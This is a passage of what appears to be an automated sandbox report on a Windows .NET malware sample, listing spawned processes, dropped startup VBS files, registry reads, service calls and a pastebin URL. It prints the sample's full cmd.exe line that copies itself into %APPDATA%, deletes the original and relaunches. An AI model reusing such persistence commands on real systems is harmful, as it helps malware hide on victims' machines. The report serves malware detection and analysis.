Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&mkdir \"%APPDATA%\\Adobe\\3MRYK\\ \\\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\update :)\"&echo.>>\"%APPDATA%\\Adobe\\3MRYK\\ \\update :)\"&taskkill /f /im mscr.exe© \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&timeout /t 1 /nobreak>nul&del \"C:\\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe\"&start \"\" \"%APPDATA%\\Adobe\\3MRYK\\ \\mscr.exe\"&exit&\""},{"type":"process","process_uid":"00015176-00003640","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"taskkill.exe\" with commandline \"taskkill /f /im mscr.exe\""},{"type":"process","process_uid":"00015185-00003672","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"timeout.exe\" with commandline \"timeout /t 1 /nobreak\""},{"type":"process","process_uid":"00015197-00003656","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"mscr.exe\""},{"type":"process","process_uid":"00015331-00003724","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00016479-00002956","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2788310.vbs\"\""},{"type":"process","process_uid":"00016531-00002904","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00017009-00003004","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3197659.vbs\"\""},{"type":"process","process_uid":"00017032-00002832","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00017509-00003192","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup7597624.vbs\"\""},{"type":"process","process_uid":"00017529-00003244","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00018039-00003260","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup9321933.vbs\"\""},{"type":"process","process_uid":"00018059-00003292","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00018570-00003416","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup3330015.vbs\"\""},{"type":"process","process_uid":"00018600-00003456","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00019077-00003532","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup196366.vbs\"\""},{"type":"process","process_uid":"00019098-00002712","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00019610-00004052","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"wscript.exe\" with commandline \"\"%TEMP%\\startup2879488.vbs\"\""},{"type":"process","process_uid":"00019628-00002896","label":"Show Process"},{"type":"linebreak"},{"type":"text","value":"Spawned process \"cmd.exe\" with commandline \"/k @echo.&del \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3MRYK*.lnk\"&exit&\""},{"type":"process","process_uid":"00020139-00003616","label":"Show Process"}],"origin":"Monitored Target","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"binary-0","type":8,"relevance":3,"name":"Dropped files","description":"$8d","description_v2":["\"startup7036682.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup7171143.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup1352268.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup8790147.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup3019309.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup2162145.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup4601692.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup3330015.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup124481.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup6752483.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup1990457.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup1295063.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup6544173.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup196366.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup7434561.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup2144209.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup4770668.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup3077130.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup9936131.vbs\" has type \"ASCII text with CRLF line terminators\"","\"startup7419274.vbs\" has type \"ASCII text with CRLF line terminators\""],"description_v3":[{"type":"text","value":"\"startup7036682.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup7171143.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup1352268.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup8790147.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup3019309.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup2162145.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup4601692.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup3330015.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup124481.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup6752483.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup1990457.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup1295063.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup6544173.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup196366.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup7434561.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup2144209.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup4770668.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup3077130.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup9936131.vbs\" has type \"ASCII text with CRLF line terminators\""},{"type":"linebreak"},{"type":"text","value":"\"startup7419274.vbs\" has type \"ASCII text with CRLF line terminators\""}],"origin":"Binary File","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Installation/Persistance","identifier":"api-55","type":6,"relevance":7,"name":"Touches files in the Windows directory","description":"$8e","description_v2":["\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config\"","\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch\"","\"\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\"","\"\" touched file \"C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat\""],"description_v3":[{"type":"text","value":"\"\" touched file \"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\Globalization\\Sorting\\SortDefault.nls\""},{"type":"linebreak"},{"type":"text","value":"\"\" touched file \"C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-3","type":2,"relevance":10,"name":"Found potential URL in binary/memory","description":"Pattern match: \"https://pastebin.com/raw/X0bCwsR3\"\n Heuristic match: \"HEAD /edgedl/release2/Hcq1Yqsih2A/57.0.2987.133_56.0.2924.87_chrome_updater.exe HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: identity\nUser-Agent: Microsoft BITS/7.5\nX-Old-UID: cnt=0\nX-Last-HR: 0x80042194\nX-Last-HTTP-Status-Code: 404\n\"\n Heuristic match: \"pastebin.com\"\n Pattern match: \"https://secure.comodo.com/CPS0\"\n Pattern match: \"crl.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crl0\"\n Pattern match: \"crt.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crt0%\"\n Pattern match: \"http://ocsp.comodoca4.com0D\"\n Heuristic match: \"ssl509084.cloudflaressl.com\"\n Heuristic match: \"*.pastebin.com\"\n Pattern match: \"http://crl.comodoca.com/COMODORSACertificationAuthority.crl0r\"\n Pattern match: \"http://crt.comodoca.com/COMODORSAAddTrustCA.crt0%\"\n Pattern match: \"http://ocsp.comodoca4.com0\"\n Pattern match: \"crl.usertrust.com/AddTrustExternalCARoot.crl05\"\n Pattern match: \"http://ocsp.usertrust.com0\"","description_v2":["Pattern match: \"https://pastebin.com/raw/X0bCwsR3\"","Heuristic match: \"HEAD /edgedl/release2/Hcq1Yqsih2A/57.0.2987.133_56.0.2924.87_chrome_updater.exe HTTP/1.1","Connection: Keep-Alive","Accept: */*","Accept-Encoding: identity","User-Agent: Microsoft BITS/7.5","X-Old-UID: cnt=0","X-Last-HR: 0x80042194","X-Last-HTTP-Status-Code: 404","\"","Heuristic match: \"pastebin.com\"","Pattern match: \"https://secure.comodo.com/CPS0\"","Pattern match: \"crl.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crl0\"","Pattern match: \"crt.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crt0%\"","Pattern match: \"http://ocsp.comodoca4.com0D\"","Heuristic match: \"ssl509084.cloudflaressl.com\"","Heuristic match: \"*.pastebin.com\"","Pattern match: \"http://crl.comodoca.com/COMODORSACertificationAuthority.crl0r\"","Pattern match: \"http://crt.comodoca.com/COMODORSAAddTrustCA.crt0%\"","Pattern match: \"http://ocsp.comodoca4.com0\"","Pattern match: \"crl.usertrust.com/AddTrustExternalCARoot.crl05\"","Pattern match: \"http://ocsp.usertrust.com0\""],"description_v3":[{"type":"text","value":"Pattern match: \"https://pastebin.com/raw/X0bCwsR3\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"HEAD /edgedl/release2/Hcq1Yqsih2A/57.0.2987.133_56.0.2924.87_chrome_updater.exe HTTP/1.1"},{"type":"linebreak"},{"type":"text","value":"Connection: Keep-Alive"},{"type":"linebreak"},{"type":"text","value":"Accept: */*"},{"type":"linebreak"},{"type":"text","value":"Accept-Encoding: identity"},{"type":"linebreak"},{"type":"text","value":"User-Agent: Microsoft BITS/7.5"},{"type":"linebreak"},{"type":"text","value":"X-Old-UID: cnt=0"},{"type":"linebreak"},{"type":"text","value":"X-Last-HR: 0x80042194"},{"type":"linebreak"},{"type":"text","value":"X-Last-HTTP-Status-Code: 404"},{"type":"linebreak"},{"type":"text","value":"\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"pastebin.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"https://secure.comodo.com/CPS0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crl0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crt.comodoca4.com/COMODORSADomainValidationSecureServerCA2.crt0%\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://ocsp.comodoca4.com0D\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"ssl509084.cloudflaressl.com\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"*.pastebin.com\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://crl.comodoca.com/COMODORSACertificationAuthority.crl0r\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://crt.comodoca.com/COMODORSAAddTrustCA.crt0%\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://ocsp.comodoca4.com0\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"crl.usertrust.com/AddTrustExternalCARoot.crl05\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://ocsp.usertrust.com0\""}],"origin":"File/Memory","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Unusual Characteristics","identifier":"static-18","type":0,"relevance":10,"name":"Matched Compiler/Packer signature","description":"\"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","description_v2":["\"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""],"description_v3":[{"type":"text","value":"\"4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe.bin\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"registry-35","type":3,"relevance":5,"name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"mscr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","description_v2":["\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"mscr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"taskkill.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"registry-1","type":3,"relevance":10,"name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"taskkill.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","description_v2":["\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","\"taskkill.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"],"description_v3":[{"type":"text","value":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"},{"type":"linebreak"},{"type":"text","value":"\"taskkill.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")"}],"origin":"Registry Access","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Environment Awareness","identifier":"api-24","type":6,"relevance":10,"name":"Tries to sleep for a long time (more than two minutes)","description":"\"\" sleeping for \"1566804069\" milliseconds","description_v2":["\"\" sleeping for \"1566804069\" milliseconds"],"description_v3":[{"type":"text","value":"\"\" sleeping for \"1566804069\" milliseconds"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"api-77","type":6,"relevance":10,"name":"Opened the service control manager","description":"\"cmd.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)\n \"mscr.exe\" called \"OpenSCManager\" requesting access rights \"0X0\"\n \"mscr.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","description_v2":["\"cmd.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","\"mscr.exe\" called \"OpenSCManager\" requesting access rights \"0X0\"","\"mscr.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)"],"description_v3":[{"type":"text","value":"\"cmd.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenSCManager\" requesting access rights \"0X0\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"api-76","type":6,"relevance":10,"name":"Requested access to a system service","description":"\"cmd.exe\" called \"OpenService\" to access the \"PcaSvc\" service\n \"mscr.exe\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"mscr.exe\" called \"OpenService\" to access the \"gpsvc\" service\n \"mscr.exe\" called \"OpenService\" to access the \"RASMAN\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights\n \"mscr.exe\" called \"OpenService\" to access the \"rasman\" service\n \"mscr.exe\" called \"OpenService\" to access the \"RASMAN\" service","description_v2":["\"cmd.exe\" called \"OpenService\" to access the \"PcaSvc\" service","\"mscr.exe\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","\"mscr.exe\" called \"OpenService\" to access the \"gpsvc\" service","\"mscr.exe\" called \"OpenService\" to access the \"RASMAN\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights","\"mscr.exe\" called \"OpenService\" to access the \"rasman\" service","\"mscr.exe\" called \"OpenService\" to access the \"RASMAN\" service"],"description_v3":[{"type":"text","value":"\"cmd.exe\" called \"OpenService\" to access the \"PcaSvc\" service"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenService\" to access the \"ServicesActive\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenService\" to access the \"gpsvc\" service"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenService\" to access the \"RASMAN\" service requesting \"SERVICE_QUERY_STATUS\" (0X4) access rights"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenService\" to access the \"rasman\" service"},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"OpenService\" to access the \"RASMAN\" service"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"General","identifier":"api-75","type":6,"relevance":10,"name":"Sent a control code to a service","description":"\"mscr.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\"\n \"mscr.exe\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\"","description_v2":["\"mscr.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\"","\"mscr.exe\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\""],"description_v3":[{"type":"text","value":"\"mscr.exe\" called \"ControlService\" and sent control code \"0X24\" to the service \"gpsvc\""},{"type":"linebreak"},{"type":"text","value":"\"mscr.exe\" called \"ControlService\" and sent control code \"0XFC\" to the service \"gpsvc\""}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Installation/Persistance","identifier":"api-2","type":6,"relevance":8,"name":"Creates new processes","description":"$8f","description_v2":["\"\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 500)","\"\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 508)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1440)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1708)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1736)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1776)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1780)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1680)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1788)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1664)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1472)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1732)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1516)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1520)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1664)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1512)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 1732)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\wscript.exe\", Handle: 1796)","\"mscr.exe\" is creating a new process (Name: \"C:\\Windows\\System32\\cmd.exe\", Handle: 